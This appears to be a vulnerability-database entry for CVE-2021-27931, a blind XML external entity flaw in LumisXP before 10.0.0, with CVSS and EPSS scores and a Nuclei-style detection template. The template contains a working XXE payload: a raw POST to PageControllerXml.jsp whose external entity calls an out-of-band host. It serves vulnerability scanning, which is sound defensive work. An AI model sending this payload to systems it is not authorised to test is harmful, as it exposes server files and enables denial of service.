6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:N/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
9 High
AI Score
Confidence
High
0.574 Medium
EPSS
Percentile
97.7%
LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
id: CVE-2021-27931
info:
name: LumisXP <10.0.0 - Blind XML External Entity Attack
author: alph4byt3
severity: critical
description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XML external entity (XXE) attacks via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server compromise, or further attacks on internal systems.
remediation: |
Upgrade LumisXP to version 10.0.0 or above to mitigate the vulnerability.
reference:
- https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
- https://nvd.nist.gov/vuln/detail/CVE-2021-27931
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2021-27931
cwe-id: CWE-611
epss-score: 0.60102
epss-percentile: 0.97771
cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: lumis
product: lumis_experience_platform
tags: cve2021,cve,lumis,xxe,oast,blind
http:
- raw:
- |
POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
Host: {{Hostname}}
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">
]>
<method name="addPage">
<id>&xxe;</id>
</method>
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a004830460221008b7b1482c51b891f719a691f34c8f18c1b22e51f7767abd5de84aaddb042f352022100e59e7bd6c6eea0222eab89ab3871c6c3b1705b428f0ef77e9c226ae77b8cd0fa:922c64590222798bb761d5b6d8e72950
6.4 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:N/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
9 High
AI Score
Confidence
High
0.574 Medium
EPSS
Percentile
97.7%